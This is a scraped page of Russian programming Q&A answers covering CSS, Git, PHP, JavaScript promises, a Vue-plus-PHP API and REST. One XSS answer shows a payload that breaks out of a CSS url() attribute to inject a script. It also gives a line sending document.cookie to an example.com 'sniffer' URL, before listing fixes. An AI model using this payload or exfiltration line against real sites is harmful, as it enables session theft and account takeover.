Задать вопрос
  • Как добиться такого эффекта при наведении?

    Get-Web
    @Get-Web Куратор тега CSS
    Front-End Developer
    Интересная задача. В общем весь фокус в том, что поверх видимых карточек, лежит точно такая же сетка с невидимыми карточками у которых есть только синий border. На сетку, которая лежит сверху, наложена маска:
    mask: radial-gradient(320px 320px at var(--x) var(--y), black 1%, transparent 40%);

    То есть у всего блока с синими border остается видимым только радиальный градиент в 320px, а x и y это координаты курсора. Ну и грубо говоря получается такая картина:

    Ответ написан
    4 комментария
  • Виртуализация включена в BIOS, но не работает в Visual Studio?

    @getsoftprom Автор вопроса
    Сразу после опубликования вопроса, методом тыка нашел решение.
    После того как в биосе включили виртуализацию, надо в компонентах выключить hyperv, перезагрузить компьютер, потом опять включить hyperv и опять перезагрузить компьютер и все заработает :)
    Ответ написан
    2 комментария
  • Перенос репозитория с Bitbucket на Github

    dizballanze
    @dizballanze
    Software developer at Yandex
    Существует. Это очень просто.
    — Клонируете репозиторий с bitbucket.
    — Создаете новый репозиторий на github
    — Добавляете адрес нового репозитория: git remote add github <адрес_нового_репозитория>
    — Пушите в новый репозиторий: git push github master
    Ответ написан
    1 комментарий
  • Как отправлять запрос каждые N секунд, пока в ответ не получу нужный статус?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Асинхронная функция, внутри бесконечный цикл, в цикле запрос. Если результат запроса нас устраивает - выходим из цикла. Задержка между итерациями цикла реализуется с помощью промиса, который резолвится по таймауту.

    async function() {
      let result = null;
    
      while (1) {
        result = await fetch(...);
    
        if (result тот, который нужен) {
          break;
        }
    
        await new Promise(r => setTimeout(r, 5000));
      }
    
      return result;
    }
    Ответ написан
    6 комментариев
  • Как удобно хранить html-разметку в JS?

    KorniloFF
    @KorniloFF Куратор тега JavaScript
    Работаю по font-end / JS
    var parser = new DOMParser();
    var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");

    https://developer.mozilla.org/ru/docs/Web/API/DOMParser
    Ответ написан
    Комментировать
  • Как вернуть 2 значения в PHP return?

    SerafimArts
    @SerafimArts
    Senior Notepad Reader
    Вариант 1 - Деструктуризация:
    // Возврат нескольких значений:
    function some() {
        return [23, 42];
    }
    
    // Получение
    [$a, $b] = some();
    
    \var_dump($a, $b);


    Вариант 2 - Деструктуризация с ключами:
    // Возврат нескольких значений:
    function some() {
        return ['a' => 23, 'b' => 42];
    }
    
    // Получение
    ['a' => $a, 'b' => $b] = some();
    
    \var_dump($a, $b);


    Вариант 3 - Генераторы с ключами:
    function some() {
        yield 'a' => 23;
        yield 'b' => 42;
    }
    
    foreach (some() as $key => $value) {
      echo $key . ':' . $value; // a:23 b:42
    }


    Вариант 4 - Генераторы без ключей:
    function some() {
        yield 23;
        yield 42;
    }
    
    foreach (some() as $value) {
      echo $value; // 23 42
    }


    Вариант 5 - Генераторы с возвратом:
    function some() {
        yield 23;
        return 42;
    }
    
    $value = some();
    echo $value->current(); // 23
    $value->next();
    echo $value->getReturn(); // 42


    Вариант 6 - DTO:
    class DataTransferObject
    {
        private $a;
        private $b;
    
        public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
        }
    
        public function getA()
        {
            return $this->a;
        }
    
        public function getB()
        {
            return $this->b;
        }
    }
    
    function some() {
        return new DataTransferObject(23, 42);
    }
    
    $value = some();
    echo $value->getA(); // 23
    echo $value->getB(); // 42


    И ещё куча всяких вариантов, но мне влом придумывать уже)
    Ответ написан
    4 комментария
  • С какого действия начинается вёрстка сайта?

    andykov
    @andykov
    Shit happens
    Радуюсь новому проекту
    200.webp#7-grid1
    Оцениваю макет на глаз
    200w.webp#30-grid1
    Херачу
    200w.webp#0-grid1
    Профит
    200.webp#5-grid1
    Ответ написан
    1 комментарий
  • Где посмотреть\почитать нормальные уроки по ООП в PHP?

    php666
    @php666
    PHP-макака
    Надо не уроки смотреть всяких идиотов, а читать книги людей, чье мнение признано сообществом и которые написали книги.
    Гради Буч - для освоение сути ООП
    Мартин Фаулер - про архитектуру, про CRUD, про доменные объекты. Одной этой книги достаточно, что бы прокачать себя так, что ни один видеокурс в жизни не сделает.

    Иначе твои познания будут соответствовать уровню этих уроков, которые создаются лишь с целью срубить с лохов бабла.
    Ответ написан
    13 комментариев
  • Git не видит остальные ветки в репозитории кроме master. Почему?

    Resident234
    @Resident234 Автор вопроса
    Back-End . PHP . Bitrix
    разобрался.

    на будущее , ответ здесь https://stackoverflow.com/questions/23708231/git-s...

    первый коммент - объснение причин
    второй коммент - способы устранения проблемы
    Ответ написан
    Комментировать
  • В каком разрешении нужно делать макет сайта?

    mixail_fet
    @mixail_fet
    Дизайнер веб-интерфейсов
    Отвечал на этот вопрос подробнее тут: Какую ширину сайта делать 1366 или 1349?

    Другие вопросы из поиска, которые полностью отвечают на ваш вопрос:

    Как выбрать разрешение для создания дизайна сайта?
    Какие необходимы размеры макетов для резинового дизайна?
    Как создать Адаптивный дизайн для Разрешений экранов с одной Длиной но разной Шириной?
    Как сделать сайт адаптивным для одинакового разрешения экрана, но разного размера?
    Под какие разрешения рисовать адаптивный дизайн?
    Под какие разрешения рисовать адаптивный дизайн?
    Как определить рабочую ширину макетов для адаптивного дизайна?
    Как наложить сетку на дизайн сайта?
    Как правильно создать макет дизайна сайта?
    Что нужно сделать, что бы дизайн сайта не портился от разрешение?
    Какое разрешение выбрать для проектирования дашборда?
    Как правильно использовать сетку для адаптивного дизайна?
    Как идеально подготовить дизайн-макет к верстке?
    Как оптимизировать сайт под разные разрешения экрана?
    Ответ написан
    1 комментарий
  • Как удалить директорию в Git?

    @fathom
    Если вы случайно закоммитили ненужный файл или папку в git-репозиторий и уже сделали push, то чтобы удалить все следы этого файла или папки в том числе и из истории, достаточно выполнить команду:

    git filter-branch --tree-filter "rm -rf PATH" HEAD

    где PATH - это относительный путь до файла или папки.
    После этого выполните (чтобы перезаписать историю изменений):

    git push origin master --force
    Ответ написан
    1 комментарий
  • Как данными из json заполнить таблицу?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Начать следует с получения из json'а массива:

    const { items } = JSON.parse(json).response;

    Дальше два пути.

    Первый - собираем html:

    const html = `
      <tbody>${items.map(n => `
        <tr>
          <td>${n.title}</td>
          <td>${n.director}</td>
          <td>${n.year}</td>
          <td>${Object.values(n.photo).map(m => `<img src="${m}">`).join('')}</td>
        </tr>`).join('')}
      </tbody>
    `;

    Который затем добавляем в таблицу:

    $('#example').append(html);
    // или
    document.querySelector('#example').insertAdjacentHTML('beforeend', html);

    Второй - создаём элементы напрямую:

    items.forEach(function(n) {
      const tr = this.insertRow();
      tr.insertCell().textContent = n.title;
      tr.insertCell().textContent = n.director;
      tr.insertCell().textContent = n.year;
      tr.insertCell().append(...Object.values(n.photo).reduce((acc, m) => (
        (acc[acc.length] = new Image).src = m,
        acc
      ), []));
    }, document.getElementById('example').createTBody());
    Ответ написан
    3 комментария
  • VueJS + PHP. Как это всё подружить?

    @marsdenden
    vue-router сам по себе, роутер на php - сам по себе, никак между собой не связаны. Если от бэкенда нужны только данные и никакого дополнительного функционала, я бы попробовал сделать сервер на ноде, благо модули готовые есть, по крайней мере писать на одном языке проще и эффективнее, чем на двух (имхо). А так все просто - фронт использует axios, в который передается url, параметры и callback для обработки ответа. Бэк обрабатывает вызов и отправляет JSON с данными и на этом его миссия закончилась, фронт в колбэке получает json и делает свое дело.
    Например, как я это сделал (метод - всегда POST)

    в App.vue в methods
    callApi(url,prms,callback){
      this.setServerError('',''); // это функция, которая в data выставляет определенные поля
      //в результате чего ошибки выводятся прямо на странице, удобно для отладки
      axios({
        method:"post",
        url:url,
        data:prms
      }).then((response) => {
        // в response.data получаем JSON, 
        // в моем случае сервер формирует обязательные поля success,error,buffer
        // в buffer  перед выдачей JSON снимается html-вывод, возможно это отладочная информация,
        // которую выдает backend, возможно PHP-warnings
        let dt=response.data;
        if(!dt.success){
           	this.setServerError(dt.error,dt.buffer);
        }else{
            // ну и, собственно, сам вызов колбека, который происходит только в случае успешного приема данных
            callback(dt);
        }
      }).catch((error) => {
        // эту часть вызывает сам axios при возникновении серверных ошибок, то есть все, что не 200 OK 
        // позволяет увидеть, в частности, ошибку 500, вернее сам факт ее возникновения, если она обрабатывается
        // "стандартным" методом апача - пустая страница и все
        this.setServerError(error.message,error.stack);
      });
    },



    далее в created создается подписка, можно использовать Bus.js, у меня по другому

    this.$root.$on('callApi',(url,prms,callback)=>{this.callApi(url,prms,callback)});


    ну и в компоненте или где еще в проекте делается вызов

    this.$root.$emit('callApi', '/api/goods', {action: 'getgoodsinfo', article: '12345678'}, (dt) => {
             this.articleinfo=dt.data.articleinfo;
          })


    на бэкэнде, соответственно, есть api.php, в котором происходит разбор url, чтение параметров и формирование результата

    заготовка api.php
    <?php
    // регистрируем функцию завершения, чтобы обрабатывать грубые ошибки, 
    //например вызов несуществующего метода у объекта
    register_shutdown_function(function () {
        $error = error_get_last();
        if ($error && ($error['type'] == E_ERROR || $error['type'] == E_PARSE || $error['type'] == E_COMPILE_ERROR)) {
            $res=array(
                'buffer'=>ob_get_contents(),
                'success'=>false,
                'error'=>"PHP Fatal: ".$error['message']." in ".preg_replace('/(.*)\/(.*)/', "$2", $error['file']).":".$error['line']
            );
            ob_clean();
            header('HTTP/1.1 200 Ok');
            header("Access-Control-Allow-Origin: *");
            echo json_encode($res);
            // ... завершаемая корректно ....
        }
    });
    
    // для кроссдоменного CORS, при необходимости - закомментировать или заменить звездочку на требуемое
    if($_SERVER['REQUEST_METHOD']=='OPTIONS' ){
        ob_clean();
        header("Access-Control-Allow-Origin: *");
        header("Content-type: application/json; charset=utf-8");
        header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
        header("Access-Control-Request-Method: POST");
        return true;
    }
    
    // /*
    // протокол обмена
    // - вход - команда по сегменту, например http://site.ru/api/goods - api - попали сюда, goods - команда REST
    // в php://input должен быть json, в котором обязателен параметр action, например getgoodsinfo
    // в результате формируется имя функции класса goods_getgoodsinfo, которая вызывается 
    // с параметром входящего json
    
    // функция класса должна вернуть массив с тремя полями - data & success & error
    // в поле data возвращается непосредственно результат функции, в нашем случае - реестр чеков
    // в поле success возвращается true | false - признак успешного выполнения
    // в поле error возвращается описание ошибки в случае неудачного выполнения функции
    // */
    
    $api=new ApiCls();
    
    // функция, проверяющая залогиненность юзера
    if(is_user_login()){ 
        $api->checkcommand();
    }else{
        $res=array('succes'=>false,'error'=>'Пользователь не авторизован','data'=>'');
        ob_clean();
        header("Content-type: application/json; charset=utf-8");
        header("Access-Control-Allow-Origin: *");
        header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
        echo json_encode($res);
    }
    
    return true;
    
    class ApiCls{
        function checkcommand(){ // точка входа для класса api, здесь первичный разбор, 
            //вызов метода и возврат результата
            // главное - определить второй сегмент в url, то есть в случае http://site.ru/api/goods
            $segment=????????; // в $segment должен оказаться 'goods'
    
            $res=array('success'=>false,'error'=>'Empty action'); // сразу проверка на наличие action в параметрах
            if(!$segment){
                $res['error']='Empty command';
            }else{
                if($_SERVER['REQUEST_METHOD']=='PUT' || $_SERVER['REQUEST_METHOD']=='POST'){
                    $reqdata = file_get_contents('php://input'); 
                    $b=json_decode($reqdata);
                    $b=get_object_vars($b);
                    if(isset($b['action'])){
                        $res['error']='no error';
                        $nm=$segment.'_'.$b['action'];
                        $r=$this->$nm($b); // вызов метода по action из пост и дальнейшая обработка результатов
                        // чё-то тут намутил, но работает - и ладно
                        if(!isset($r['success'])){
                            $res['success']=false;
                            $res['error']='No success flag in method '.$nm;
                        }else{
                            if(!isset($r['data'])){
                                $res['success']=false;
                                $res['error']='No result data in method '.$nm;
                            }else{
                                $res['success']=$r['success'];
                                $res['data']=$r['data'];
                                if(!$r['success']){
                                    if(isset($r['error'])){
                                        $res['error']=$r['error'];
                                    }else{
                                        $res['error']='Success is false, but no error message in method '.$nm;
                                    }
                                }
                            }
                        }
                    }
                }
            }
            // непосредственная выдача данных
            $this->_printresponse($res);
        }
        function _printresponse($res){
            // проверяем наличие html-вывода (отладка или warnings)
            $res['buffer']=ob_get_contents();
            if($res['buffer']!=''){
                $res['success']=false;
                isset($res['error'])?$res['error']=implode(',',array('module error',$res['error'])):$res['error']='module error';
            }
            // очищаем буфер вывода и формируем свои заголовки
            ob_clean();
            header("Content-type: application/json; charset=utf-8");
            header("Access-Control-Allow-Origin: *");
            header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
            // ну и, наконец, выдаем результирующий JSON
            echo json_encode($res);
        }
        function __call($name,$post){
            // эта функция вызывается при попытке вызвать несуществующий метод класса, то есть при вызове '/api/blablabla' получим отлуп
            $info=array('method'=>$name,'post'=>$post,'error'=>'Method not found','success'=>false);
            return $info;
        }
        /*********************************************************/
        // начинаем блок методов api
        function goods_getgoodsinfo($prm){
            // формируем заготовку ответа
            $res=array('data'=>array(),'success'=>true,'error'=>'');
            // при необходимости здесь можно вставить проверку наличия полномочий у пользователя
            // и если что не так, то выключить success, прописать "облом!" в error и не возвращать данные
            $res['data']['articleinfo']= getArticleInfo($prm['article']); // вызов функции, 
            //которая собирает требуемые данные для определенного артикула и возвращает, опять же
            // в формате JSON
            return $res;
        }
    }
    ?>



    Вот как-то так... Дальше только вопрос - как прикрутить этот api.php к сайту и вопросы безопасности, но это уже другая тема
    Ответ написан
    1 комментарий
  • Как сделать так, чтобы функция выполнялась только после того, как другая завершится?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега JavaScript
    Дисклеймер
    Кому не нравится название "обещания", мысленно заменяйте его на то, которое считаете подходящим. Я выбрал именно его, чтобы концепция, лежащая в их основе, была интуитивно понятна.

    Если функция асинхронная, то лучше всего использовать обещания, что вы и попытались сделать (интерактивный пример).
    one().done(two);
    
    function one() {
        var dfd = new $.Deferred();
    
        // Запускаем асинхронную задачу. Например, ajax-запрос.
        setTimeout(function () {
            var foo = 'bar';
    
            // "Выполняем обещание", передавая в него какую-то информацию.
            // Передавать аргументы, разумеется, не обязательно.
            dfd.resolve(foo);
        }, 2000);
    
        // Возвращаем из функции обещание, на которое могут подписаться другие функции.
        // Обратите внимание, этот код выполнится до того, как завершится асинхронная задача.
        return dfd.promise();
    }
    
    function two(foo) {
        // Обрабатываем данные, полученные внутри асинхронной функции one.
        console.log('two', foo);
    }

    Для трех функций расклад немного сложнее, но принцип такой же.
    Есть и более элегантный способ запуска цепочки из трех функций:
    код
    one().then(two, onOneError).then(three, onTwoError);
    
    function one() {
        var dfd = new $.Deferred();
    
        setTimeout(function () {
            console.log('one');
            
            if (Math.round(Math.random() * 10) >= 5)
            {
                dfd.resolve();
            }
            else
            {
                dfd.reject();
            }
        }, 1000);
    
        return dfd.promise();
    }
    
    function two() {
        var dfd = new $.Deferred();
    
        setTimeout(function () {
            console.log('two');
            
            if (Math.round(Math.random() * 10) >= 5)
            {
                dfd.resolve();
            }
            else
            {
                dfd.reject();
            }
        }, 1000);
    
        return dfd.promise();
    }
    
    function three() {
        setTimeout(function () {
            console.log('three');
        }, 1000);
    }
    
    function onTwoError() {
        console.log('twoError', arguments);
    }
    
    function onOneError() {
        console.log('oneError', arguments);
    }

    Обратите внимание, что в этом примере показано, что обещания можно не только выполнять, но и отказываться от них и такие ситуации нужно обрабатывать отдельно.


    Обещания - самый современный и удобный вариант, с ними код становится чище и понятнее. Единственная проблема, связанная с ними - это необходимость использовать сторонние библиотеки или полифилы, потому что обещания пока поддерживаются далеко не во всех браузерах.

    Другой вариант - передавать callback, но это прямой путь в callback hell. Для запуска трех и более функций подряд я его не рекомендую - смотрите сами, на что становится похож код:
    one(function () {
        two(three)
    });
    
    function one(callback) {
        console.log('one');
        setTimeout(callback, 1000);
    }
    
    function two(callback) {
        console.log('two');
        setTimeout(callback, 1000);
    }
    
    function three() {
        console.log('three');
    }


    Есть еще один (очень, очень, очень плохой) вариант, основанный на таймерах и внешних флагах. Никогда так не делайте (код для системы из трех функций еще хуже).

    Если внутри функций ничего асинхронного нет, то можно просто вызвать их друг за другом - следующая и так запустится после предыдущей (пример).
    Ответ написан
    5 комментариев
  • Верстка с нуля: какие основные этапы работы?

    Vlad_IT
    @Vlad_IT Куратор тега Вёрстка
    Front-end разработчик
    Использую vscode+webpack+pug+scss+бэм. Из физических инструментов, основной моник: lg ultrawide 29um69g, рядом прикручен моник от ноутбука повешенный вертикально, подключенный через универсальный скаллер.

    0) Запускаю Spotify :-)

    1) Произвожу установку всех необходимых модулей для сборки. В моем случае у меня набор конфигураций для webpack (отдельные файлы для pug, scss, static и.т.д., выбираю что нужно).

    2) Запускаю avocode, загружаю в него макет. Определяю в нем переменные (в то же время записываю их, чтобы сразу кинуть в scss файл) для цветов, размеров шрифтов и.т.д. чтобы при получении кусочков кода из него, он сразу расставлял переменные.

    3) Запускаю VS Code, открываю нужную папку.

    4) Пишу размету на Pug. Пишу с БЭМ, если встречаю повторяющийся блок, то открываю файл _mixins.pug, в который пишу миксины для повторяющихся блоков, например товаров, пунктов меню, каких-то блоков и.т.д. Pug умеет делать циклы, это ускоряет сильно.

    5) Когда HTML готов, начинаю делать каркас. Если дизайн сделан по сетке, определяю контейнеры, колонки, строки в свои классы (не пишу в html тучи классов аля col-md-6, а пишу в SCSS инклуды в нужные мне блоки, типа @include make-col(2) и.т.д.).

    6) Экспортирую картинки из Avocode. Очень делается просто, указываю папку и просто кликаю экспорт и ввожу название файла и расширения. Преимущественно для иконок использую svg, если нет svg, то ищу эту иконку в интернете (дизайнеры редко рисуют иконки сами, но зато любят вставлять их не в векторе). Если иконка простая, могу сам ее в inkscape обвести, ну и если нет, то экспортирую png в размере (благо авокод это позволяет, если конечно дизайнер не вставил в исходном маленьком размере). Когда есть контакт с дизайнером, трясу его, ибо растр это плохо для иконок.

    7) Пишу стили блоков из страницы. На этом этапе можно на втором монике параллельно смотреть футураму или
    Арчера :-) Но чаще на широком монике слева браузер, справа VS Code, а на втором монике Avocode (может меняться местами с браузером). Мысленно нарезаю страницу на блоки. Для каждого блока (БЭМ) создаю отдельный scss файл (кто-то даже для элемента создает, но мне лень), из него сразу выписываю все селекторы. Иногда могу сначала выписать все селекторы со страницы (но так лучше не делать, т.к. во время работы может потребоваться изменить что-то в разметке), но чаще для одного блока выполняю этот пункт и за ним сразу выполняю пункт 8, потом для нового блока опять 7 и 8 и.т.д.

    8) Пишу css код вместе с Avocode, у него беру нужные мне параметры (а он уже подставил в них переменные), и вставляю в мой код. И параллельно сверяю со скрином макета используя вот это расширение https://chrome.google.com/webstore/detail/perfectp...

    9) Пишу адаптив. Я не могу привыкнуть к методологии mobile-first, поэтому пишу всегда сначала полную версию сайта. Я понимаю, что это чревато всякими проблемами и это типа не модно, но мне норм.

    10) Медиа-запросы пишу прямо в блоках, для каждого блока/элемента/модификатора может быть отдельный медиа-запрос. Но для начала определяю breakpoint'ы для разных экранов (чтобы их не было сотни разных), если использую Bootstrap, то беру его breakpoint'ы.

    11) Добавляю анимашки. Даже если заказчик не просил отдельно (и если не указал отдельно, что нельзя), он все равно будет доволен, а с animate.css+onscreen.js это вообще работа 10 минут. Сложные анимации обговариваю отдельно, чтобы не сделать ненужную работу.

    11) Все снова сверяю, пишу скрипты где надо. Для слайдеров в 99% случаев подходит slick (с доработками конечно, но там хорошее API), для других случаев могу написать свой.

    12) Сдаю заказчику и жду ответа сидя на тостере/пикабу.

    Это чисто мой опыт, опыт фрилансера, не знаю, как делают другие и не могу на 100% утверждать что это 100% правильный способ. Я так и не смог заставить свой конфиг webpack правильно вставлять спрайты svg.
    Надеюсь чем-то поможет мой ответ.
    Ответ написан
    7 комментариев
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Что такое rest api простыми словами?

    HorrorInferno
    @HorrorInferno
    веб-разработчик, бэкэндер
    Если совсем простыми, то некий сервис даёт тебе доступ к своим данным, но не напрямую, а через оболочку, которая назвается REST API. Тебе даётся некий url, по которому ты можешь получить те самые данные. Как правило, при изменении параметров этого url, ты получаешь разные данные.
    Пример:
    Допустим ты берешь в качестве сервиса Википедию. Его специальный url, по которому ты можешь получить данные (его еще называют endpoint) выглядит так: https://en.wikipedia.org/w/api.php
    Допустим нам нужно найти какую-то краткую выдержку из вики по ключевым словам. Первым делом мы идем в документацию и смотрим, какие параметры нам для этого нужны. Для данной задачи нам потребуется url со следующими параметрами:
    https://en.wikipedia.org/w/api.php?action=opensearch&search=<search string>&prop=info&format=<format>&inprop=url


    search string - словосочетание, по которому мы хотим искать.
    format - формат в котором будет выдан ответ (самые популярные это json и xml)

    Пример обращения к WikiAPI:
    https://en.wikipedia.org/w/api.php?action=opensearch&search=microsoft&prop=info&format=json&inprop=url


    Ответ от WikiAPI:
    [
    "microsoft",
    [
    "Microsoft",
    "Microsoft Windows",
    "Microsoft Word",
    "Microsoft Excel",
    "Microsoft Office",
    "Microsoft Visual Studio",
    "Microsoft PowerPoint",
    "Microsoft SQL Server",
    "Microsoft Office 2007",
    "Microsoft Access"
    ],
    [
    "Microsoft Corporation (, abbreviated as MS) is an American multinational technology company with headquarters in Redmond, Washington.",
    "Microsoft Windows, or simply Windows, is a metafamily of graphical operating systems developed, marketed, and sold by Microsoft.",
    "Microsoft Word is a word processor developed by Microsoft. It was first released on October 25, 1983 under the name Multi-Tool Word for Xenix systems.",
    "Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications.",
    "Microsoft Office is an office suite of applications, servers, and services developed by Microsoft. It was first announced by Bill Gates on 1 August 1988, at COMDEX in Las Vegas.",
    "Microsoft Visual Studio is an integrated development environment (IDE) from Microsoft. It is used to develop computer programs for Microsoft Windows, as well as web sites, web apps, web services and mobile apps.",
    "Microsoft PowerPoint is a presentation program, created by Robert Gaskins and Dennis Austin at a software company named Forethought, Inc.",
    "Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).",
    "Microsoft Office 2007 (codenamed Office 12) is a version of Microsoft Office, a family of office suites and productivity software for Windows, developed and published by Microsoft.",
    "Microsoft Access is a database management system (DBMS) from Microsoft that combines the relational Microsoft Jet Database Engine with a graphical user interface and software-development tools."
    ],
    [
    "https://en.wikipedia.org/wiki/Microsoft",
    "https://en.wikipedia.org/wiki/Microsoft_Windows",
    "https://en.wikipedia.org/wiki/Microsoft_Word",
    "https://en.wikipedia.org/wiki/Microsoft_Excel",
    "https://en.wikipedia.org/wiki/Microsoft_Office",
    "https://en.wikipedia.org/wiki/Microsoft_Visual_Studio",
    "https://en.wikipedia.org/wiki/Microsoft_PowerPoint",
    "https://en.wikipedia.org/wiki/Microsoft_SQL_Server",
    "https://en.wikipedia.org/wiki/Microsoft_Office_2007",
    "https://en.wikipedia.org/wiki/Microsoft_Access"
    ]
    ]
    Ответ написан
    2 комментария
  • Где можно найти и посмотреть "хорошие практики" на React?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Гайдлайн от airbnb по оформлению кода.
    Куча полезных ссылок по react + redux.
    Ответ написан
    Комментировать
  • Как определить что поисковый бот а не человек?

    rework
    @rework
    Помог ответ? В благодарность отметь его решением
    Вот есть решение на всех известных ботов:

    function isBot(&$botname = ''){
    /* Эта функция будет проверять, является ли посетитель роботом поисковой системы */
      $bots = array(
        'rambler','googlebot','aport','yahoo','msnbot','turtle','mail.ru','omsktele',
        'yetibot','picsearch','sape.bot','sape_context','gigabot','snapbot','alexa.com',
        'megadownload.net','askpeter.info','igde.ru','ask.com','qwartabot','yanga.co.uk',
        'scoutjet','similarpages','oozbot','shrinktheweb.com','aboutusbot','followsite.com',
        'dataparksearch','google-sitemaps','appEngine-google','feedfetcher-google',
        'liveinternet.ru','xml-sitemaps.com','agama','metadatalabs.com','h1.hrn.ru',
        'googlealert.com','seo-rus.com','yaDirectBot','yandeG','yandex',
        'yandexSomething','Copyscape.com','AdsBot-Google','domaintools.com',
        'Nigma.ru','bing.com','dotnetdotcom'
      );
      foreach($bots as $bot)
        if(stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false){
          $botname = $bot;
          return true;
        }
      return false;
    }


    Использование:

    if( isBot($bname) ) {
       // Перебрасываем на Москву
    }
    Ответ написан
    9 комментариев